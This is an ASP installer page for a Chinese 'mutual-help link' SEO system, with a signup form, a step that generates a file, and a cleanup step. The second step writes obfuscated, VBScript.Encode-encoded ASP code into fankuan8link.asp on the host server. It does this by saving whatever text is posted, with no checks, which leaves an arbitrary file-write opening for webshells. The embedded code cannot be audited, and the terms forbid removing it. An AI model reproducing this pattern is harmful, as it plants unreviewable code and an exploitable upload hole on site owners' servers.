<html>
<head>
    <title>fankuan8互助链系统安装程序-asp版</title>
    <script type="text/javascript">
        function nTabs(thisObj, Num) {
            if (thisObj.className == "active") return;
            var tabList = document.getElementById("myTab").getElementsByTagName("li");
            for (i = 0; i < tabList.length; i++) {//点击之后，其他tab变成灰色，内容隐藏，只有点击的tab和内容有属性
                if (i == Num) {
                    thisObj.className = "active";
                    document.getElementById("myTab_Content" + i).style.display = "block";
                } else {
                    tabList[i].className = "normal";
                    document.getElementById("myTab_Content" + i).style.display = "none";
                }
            }
        }
    </script>
    <style type="text/css">
        *
        {
            margin: 0;
            padding: 0;
            list-style: none;
            font-size: 14px;
        }
		.red {color: #FF0000}font {
	font-size: 12px;
	text-decoration: none;}
table {font-size: 14px;}
.topbg{background:#0096CE;color: #FFFFFF; font-size: 16px;}
.border{border: 1px solid #0096CE;}
        .nTab
        {
            width: 700px;
            height: auto;
            margin: 20px auto;
            border: 1px solid #333;
            overflow: hidden;
        }
        .none
        {
            display: none;
        }
        .nTab .TabTitle li
        {
            float: left;
            cursor: pointer;
            height: 35px;
            line-height: 35px;
            font-weight: bold;
            text-align: center;
            width: 124px;
        }
        .nTab .TabTitle li a
        {
            text-decoration: none;
        }
        .nTab .TabTitle .active
        {
            background: black;
            color: #fff;
			border:#FFE6CC solid thin 1px;
        }
        .nTab .TabTitle .normal
        {
		    background-color:#FFE6CC;
            color: #F1AC1C;
			border:#000000 solid thin 1px;
        }
        .nTab .TabContent
        {
            clear: both;
            overflow: hidden;
            background: #fff;
            padding: 5px;
            display: block;
            height: auto;
        }
    </style>
</head>
<body>
<center>
  <div class="nTab" >
    <div class="TabTitle">
      <ul id="myTab">
        <li class="active" onClick="nTabs(this,0);">第一步</li>
        <li class="normal" onClick="nTabs(this,1);">第二步</li>
        <li class="normal" onClick="nTabs(this,2);">第三步</li>
      </ul>
    </div>
    <div class="TabContent">
      <!--第一步开始-->
      <div id="myTab_Content0">第一步-注册 <br>
          <hr color="#FF0000">
          <form id="form1" name="form1" method="post" action="http://www.fankuan8.com/addok2.php">
            <table width="96%" border="1" align="center">
			
			<tr>
                <td colspan="2" style=" text-align:center;"><font color="#FF0000">
                  <h3>互助链的作用</h3>
                </font></td>
              </tr>
              <tr>
                <td colspan="2" style=" text-align:center; padding:12px;"><p>&nbsp;&nbsp;&nbsp;&nbsp;互助链是一种十分方便无需花时间管理的友情链接系统，</p>
                    <ol>
                      <li>&nbsp;&nbsp;&nbsp;&nbsp;简单说是能让你网站的友情链接每天自动增长的工具</li>
                      <li>友情链接的作用：友情链接的多少是seo和百度排名中重要的参考指标，</li>
                      <li>&nbsp;&nbsp;&nbsp;&nbsp;所以强烈建议安装使用</li>
                    </ol>
                  </td>
              </tr>
			
              <tr>
                <td colspan="2" style=" text-align:center;"><font color="#FF0000">
                  <h3>加入协议</h3>
                </font></td>
              </tr>
              <tr>
                <td colspan="2" style=" padding:12px;"><p>申请加入前你必须同意本站以下协议：</p>
                    <ol>
                      <li>您的网站内容必须建康，不含任何违反国家法律的信息，包括但不限于反动、色情、诈骗、赌博等。</li>
                      <li>您的网站能够正常运行，不含木马病毒、大量弹出窗口等影响正常浏览的内容。</li>
                      <li>请您先嵌入本站提供的代码等待我们审核。</li>
                    </ol>
                  <p>我们审核成功后，禁止撤除代码，否则您的域名会自动永久加入黑名单。</p></td>
              </tr>
              <tr>
                <td colspan="2" align="center">请认真填写下列表单（<span class="red">*</span> 内容必须填写）</td>
              </tr>
              <tr>
                <td width="15%" align="right"><span class="red">*</span> 网站名：</td>
                <td width="85%"><input name="sitename" type="text" id="sitename" />
                  （10个汉字以内）</td>
              </tr>
              <tr>
                <td align="right">logo图标：</td>
                <td><input name="logo" type="text" id="logo" size="50" /></td>
              </tr>
              <tr>
                <td align="right"><span class="red">*</span> 域名：</td>
                <td>http://
                  <input name="domain" type="text" id="domain" value="<%=Request.ServerVariables("SERVER_NAME")%>" />
                  （前面无需http://，例如www.abc.com）</td>
              </tr>
              <tr>
                <td align="right"><span class="red">*</span>相关信息：</td>
                <td align="left">PR值：
                  <select name="pr" id="pr">
                      <option value="0">0</option>
                      <option value="1">1</option>
                      <option value="2">2</option>
                      <option value="3">3</option>
                      <option value="4">4</option>
                      <option value="5">5</option>
                      <option value="6">6</option>
                      <option value="7">7</option>
                      <option value="8">8</option>
                      <option value="9">9</option>
                    </select>
                  alexa排名：
                  <input name="alexa" type="text" id="alexa" size="10" value="0" /></td>
              </tr>
              <tr>
                <td align="right">日访问量：</td>
                <td><input name="ips" type="text" id="ips" size="10" value="0" /></td>
              </tr>
              <tr>
                <td align="right"><span class="red">*</span> 网站分类：</td>
                <td><select name="classes" id="classes">
                    <option value="电脑网络">电脑网络</option>
                    <option value="电脑游戏">电脑游戏</option>
                    <option value="电影音乐">电影音乐</option>
                    <option value="免费资源">免费资源</option>
                    <option value="休闲娱乐">休闲娱乐</option>
                    <option value="生活服务">生活服务</option>
                    <option value="教育学习">教育学习</option>
                    <option value="求职招聘">求职招聘</option>
                    <option value="医疗健康">医疗健康</option>
                    <option value="情感交友">情感交友</option>
                    <option value="投资理财">投资理财</option>
                    <option value="军事政治">军事政治</option>
                    <option value="体育比赛">体育比赛</option>
                    <option value="行业网站">行业网站</option>
                    <option value="公司网站">公司网站</option>
                </select></td>
              </tr>
              <tr>
                <td ><span class="red">*</span> 网站简介：</td>
                <td><textarea name="about" cols="50" rows="3" id="about"></textarea>
                  {不可超过25个汉字或50英文字符}</td>
              </tr>
              <tr>
                <td ><span class="red">*</span> 你的密码：</td>
                <td><input name="pwd" type="password" id="pwd" />
                  (用于以后更新修改您的网站资料，6-8位字母或数字)</td>
              </tr>
              <tr>
                <td ><span class="red">*</span> 电子邮箱：</td>
                <td><input name="email" type="text" id="email" size="30" /></td>
              </tr>
              <tr>
                <td align="right">&nbsp;</td>
                <td><input type="submit" name="Submit" value=" 立即加入 " />
                    <input type="reset" name="Submit2" value=" 重新填写 " /></td>
              </tr>
            </table>
          </form>
      </div>
      <!--第一步结束-->
      
      <div id="myTab_Content1" class="none">
        <form action='' method=post>
          <textarea name="about" cols="90" rows="26" id="code2" style="display:none">
	  <%
response.write "<%@ LANGUAGE = VBScript.Encode"%> 
<%response.write "%"%><%response.write ">"%>
<%
response.write "<%#@~^RQYAAA==@#@&NrsPm:Vbx0SEMVSP^kUVD@#@&sk	3+M~xP""+$En/O U+.\..mDrC(V+dcr?nD7nM{Um:J#@#@&@#@&C;rl	hnr{JL-SGTk^e':G:GNuMRkMA}MuXSu6XEE-y~_19LGN1(ALkCR-eW9m|V3T,@$密obOMyFKGO~~B`pwo&zJ2f""'a~kf`keA""[wUkSve2aQv.bO-M8OMfKO'^e[[ke{,x_,B&P_,密oby""La2Eck[F,%-V,/LbOM^;N6f_k密Lb^""':A_k[P_@$密orf""LaKHFBk_0BeL0k_Lb^""L:2Cu_vv'_-5E	qZ1=HqBC&1@$密TkyZLaKQcf""SgTrf""'[Z\PeQH&@$@$密TkkR:ekcf6y-_ob^""L:_C@$ZO?o61/O,@$密""){Gfu'_Be""Y_TkkR@$@$Uq{FGBPuL密GFLk-RPM密-[`{F""8密密Nk~F6]fZ'aFKFLke kC2te-a~-0zEruyS_ON%W9^&2%-ecueKN1m30o1@$密e8{M-#O-Q~AtO-MqLBee[=g1cXUk,@${KF,1{BPu'密RC^{KF1,~SvpwszJzAN6LaR6Lr3""E]svM2vP`jcMKO'TkkR密ky3u密Ref{KF,~SB`pooJz&2)aLaRX[}2yE]wceA`~`j`MPO'obkR{,'va=u:,{ek#Rk3~3t ke8LSMe[U_1v6=uO@$密-[`FGe8G密X]fZ[[2v`-[{1%-3O/OC^Z)ay_-密6u^Z[:33u'	Q@$密T [""SeB[{e8~k_0vI_SCgHB	8Z\QuB@$密{	e]{vHJJ3Se-6]密FQk~FBHJE_SM-6YG:{L-e kC2}MkX~k0HEru""BgO6	E	H3_Bek6u,@$密{EXJrQ~Cu6u3VFvuFK{C密{vHJE_BMuX]3[E	u{Px密GvXrE3~M-6u20vuL密{BHJE_Bekau2xCZ~-GXE`q密GEXrJQ~MkX]3`EQ""B""v'FKG!密{EXEJ3SCuau20F`-G:{q密FBzJr_SM-6]AtPXe_-S{KF}3uS密GeqBuQ3Ee_Be{PFBXEE3~MuXYAkkX	0u!B密GEzJr_Se-6Y3\^B3k密G3u~FvzJr_Bek6Y{:G'BB~""LU密w'PGTR'.~ZBL密{X]ye[[KX8~-Q3E5%3bgaYf""[[3e-_`E'QuIBPF/,=z&9uqO@$密GF6Yye[a{PFek`fa.u_X]f""[[ZOceA`~`OZ1NX[a a[}^""L:363`O@$密MuQcE[QuA&ee~k_X]^Z'[@$E@#@&nX+^!Y`j	2	^W9+cC;rC	h+bb#@#@&s!U^YbW	Pix3U1W[+v4l13b@#@&PP~~4;AP{~y&@#@&P,PP6WM~k,'qPDW~sx`4Cm0#@#@&~~P,P,P~kW~sk[`4Cm0~rS8#@!@*E密rPOtU@#@&7ida3'm/1c:bNctmmVSb~F*bO4;h@#@&7dik6P23@*qyv~Y4nx@#@&77idwVxa3R,l@#@&d7i+^/+b0,23@!&+PDtnU@#@&di7da3'aVQ,l@#@&d7dnU9Pr0@#@&didAnbh+rxS+rhrLm4M`a3#@#@&i7+^/n@#@&d77S+kSnk{h+bAnkL\(m.VW@#@&d7+	[Pb0@#@&ix+aO@#@&7j	3	mG9+{h+bhr@#@&+UN,0;U1YkKU@#@&fZkBAA==^#~@"%><%response.write "%"%><%response.write ">"%>
<%
response.write "您网站的PR值为：<script language=""javascript"" src=""http://www.linkhelper.cn/getpr.asp?queryurl=<% = linker "%><%response.write "%"%><%response.write ">"%>  <% response.write "&show=1""></script>"
%>
  </textarea>
          <input name="submit" type='submit' value='生成互助链程序文件'>
          <br>
        </form>
        <%
if request("about")<>""  then
on error resume next
data=request("about")
ofso="scripting.filesystemobject"
set fso=server.createobject(ofso)
If fso.FileExists(server.MapPath("fankuan8link.asp")) Then   '判断文件是否存在
	response.write "<script language='javascript'>"
	response.write "alert('已经生成了链接程序文件，无需再次生成！');"
	response.write "location.href='javascript:history.go(-1)';"
	response.write "</script>"
else
set dama=fso.createtextfile("fankuan8link.asp",true)
dama.write data

if err=0 then
	response.write "<script language='javascript'>"
	response.write "alert('已经成功为您生成互助链程序文件');"
	response.write "location.href='javascript:history.go(-1)';"
	response.write "</script>"
else
	response.write "<script language='javascript'>"
	response.write "alert('生成互助链程序文件错误！可能是由于网站权限等原因');"
	response.write "location.href='javascript:history.go(-1)';"
	response.write "</script>"
end if
dama.close
set dama=nothing
set fos=nothing
end if
end if
%>
      </div>
      <div id="myTab_Content2" class="none">
        <%

Set objXML = Server.CreateObject("MSXML2.ServerXMLHTTP")
objXML.open "GET","http://"&request.ServerVariables("HTTP_HOST"),false
objXML.send()
Text= objXML.responseText

if request("action")="del"  then
on error resume next
ofso="scripting.filesystemobject"
set fso=server.createobject(ofso)
If fso.FileExists(server.MapPath("fankuan8link.asp")) and InStr(Text, "http://www.fankuan8.com/link.gif")  Then
If fso.FileExists(server.MapPath("install.asp")) Then   '判断文件是否存在
Set file1 = fso.GetFile("install.asp") 
file1.delete 
set file1=nothing 
	response.write "<script language='javascript'>"
	response.write "alert('删除成功！');"
	response.write "location.href='../';"
	response.write "</script>"
	response.end
set dama=nothing
set fos=nothing
end if
else
	response.write "<script language='javascript'>"
	response.write "alert('安装未完成，可能是没有嵌入代码，或未生成程序文件!');"
	response.write "location.href='javascript:history.go(-1)';"
	response.write "</script>"
	response.end
end if
end if
%>
        <form action='' method=post>
          <input type="hidden" name="action" value="del">
          <input name="submit" type='submit' value='删除安装文件'>
          <br>
        </form>
      </div>
    </div>
  </div>
</center>
</body>
</html>